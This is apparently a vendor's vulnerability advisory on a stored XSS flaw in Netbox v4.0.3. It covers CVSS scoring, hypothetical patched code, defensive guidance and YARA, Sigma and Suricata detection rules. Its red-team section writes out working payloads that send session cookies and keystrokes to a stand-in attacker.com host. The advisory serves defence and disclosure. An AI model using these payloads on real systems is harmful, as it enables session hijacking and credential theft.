CVE-2024-40727
Executive Summary
CVE-2024-40727 is a stored cross-site scripting (XSS) vulnerability in Netbox v4.0.3, specifically within the /dcim/console-server-ports/add/ endpoint. An authenticated attacker with appropriate permissions can inject arbitrary JavaScript or HTML into the Name parameter, which is then stored and executed in the browsers of other users viewing the affected console server port. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 base score of 5.4 (Medium), with a low attack complexity but requiring user interaction. No official patch has been released as of this report, making manual input validation and output encoding essential for mitigation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Netbox is a Python/Django-based application distributed via PyPI and GitHub. The vulnerability lies in the application’s own code, not in a third-party package. However, organizations should verify the integrity of their Netbox installation and ensure no malicious modifications have been introduced via compromised dependencies.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The attack is performed over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – Attacker needs an authenticated account with permission to add console server ports.
- User Interaction (UI): Required (R) – A victim user must view the malicious port entry.
- Scope (SC): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited modification of content possible.
- Availability (A): None (N) – No impact on availability.
Threat Level: Medium. Exploitation requires authentication and user interaction, but the stored nature of the XSS increases the potential for widespread impact within an organization.
Deep Dive & Mechanics
The vulnerability exists in the dcim/views.py (or equivalent) view handling the creation of console server ports. The Name field is not properly sanitized or encoded before being stored in the database and later rendered in HTML. When a user visits the console server port list or detail page, the malicious payload is executed in their browser context.
Root Cause: Lack of output encoding for user-supplied input in the Name parameter. The application likely uses Django templates with {{ name }} instead of {{ name|escape }} or similar safe filters.
Attack Flow:
- Attacker logs in to Netbox with a role that allows adding console server ports.
- Attacker navigates to
/dcim/console-server-ports/add/and injects a payload like<script>alert('XSS')</script>into theNamefield. - The payload is stored in the database without sanitization.
- When an administrator or other user views the console server port list, the payload executes in their browser.
Vulnerable vs. Patched Code
Vulnerable Code (Netbox v4.0.3):
# In views.py or similar
class ConsoleServerPortCreateView(generic.CreateView):
model = ConsoleServerPort
fields = ['name', 'device', ...]
# No custom form validation or output encoding
Patched Code (Hypothetical fix):
# In forms.py
from django import forms
from utilities.forms import BootstrapMixin
class ConsoleServerPortForm(BootstrapMixin, forms.ModelForm):
class Meta:
model = ConsoleServerPort
fields = ['name', 'device', ...]
widgets = {
'name': forms.TextInput(attrs={'class': 'form-control'}),
}
def clean_name(self):
name = self.cleaned_data['name']
# Sanitize input to prevent XSS
from django.utils.html import escape
return escape(name)
Template Fix:
<!-- Vulnerable -->
{{ port.name }}
<!-- Patched -->
{{ port.name|escape }}
Exploitation & Lab Setup
Red Team (Attack Simulation)
Prerequisites:
- Netbox v4.0.3 instance
- Authenticated user with permission to add console server ports
- Web browser with developer tools
Step-by-Step Exploitation:
- Log in to Netbox as an attacker user.
- Navigate to
/dcim/console-server-ports/add/. - In the
Namefield, enter the following payload:<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Fill in required fields (e.g., device) and submit the form.
- Wait for an administrator to view the console server ports list.
- The administrator’s cookies are exfiltrated to the attacker’s server.
Alternative Payloads:
- Session hijacking:
<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie"> - Keylogger:
<script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>
Blue Team (Defense & Detection)
Detection Steps:
- Monitor logs for unusual
POSTrequests to/dcim/console-server-ports/add/containing HTML tags or JavaScript. - Review database entries for console server ports with suspicious
namevalues. - Use web application firewall (WAF) rules to block common XSS patterns.
Mitigation Steps:
- Apply input sanitization and output encoding as shown in the patched code section.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Regularly audit user permissions to limit who can add/modify console server ports.
Indicators of Compromise (IOCs)
Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from Netbox server.
- Suspicious
POSTrequests to/dcim/console-server-ports/add/with payloads containing<script>,<img>, oronerrorattributes.
Host IOCs:
- Console server port entries in the database with
namefields containing HTML/JavaScript. - Unusual entries in Netbox audit logs (if enabled).
- Console server port entries in the database with
File IOCs:
- Modified template files (e.g.,
templates/dcim/console_server_port.html) if attacker gained file write access.
- Modified template files (e.g.,
Detection Engineering
YARA Rule
rule Detect_Netbox_XSS_Payload {
meta:
description = "Detects XSS payloads in Netbox console server port names"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-40727"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /<img[^>]*onerror\s*=/i
$xss3 = /<svg[^>]*onload\s*=/i
$xss4 = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Netbox Console Server Port XSS Attempt
id: 8f3b2a1c-5d7e-4f9b-8a1c-3d5e7f9b0a2c
status: experimental
description: Detects XSS attempts in Netbox console server port creation
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: netbox
detection:
selection:
http.method: POST
http.url: /dcim/console-server-ports/add/
http.body|contains:
- '<script'
- '<img'
- 'onerror'
- 'onload'
condition: selection
falsepositives:
- Legitimate use of HTML in names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"Netbox Console Server Port XSS Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/dcim/console-server-ports/add/"; http.request_body; content:"<script"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Input Validation: Implement server-side validation to reject or sanitize HTML/JavaScript in the
Namefield. - Output Encoding: Ensure all user-supplied data is properly escaped in templates using Django’s
|escapefilter or{% autoescape on %}. - Update Netbox: Monitor for official patches and upgrade to a fixed version when available.
Long-Term Measures:
- Web Application Firewall (WAF): Deploy a WAF with rules to block XSS payloads.
- Content Security Policy (CSP): Implement a strict CSP to prevent inline script execution.
- Regular Security Audits: Conduct code reviews and penetration testing on custom Netbox deployments.
- User Training: Educate users about the risks of XSS and the importance of reporting suspicious behavior.
Workaround:
- Manually edit the template file
templates/dcim/console_server_port.html(or equivalent) to add|escapeto all{{ name }}occurrences.
Valters IT
Securing Digital Infrastructure
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.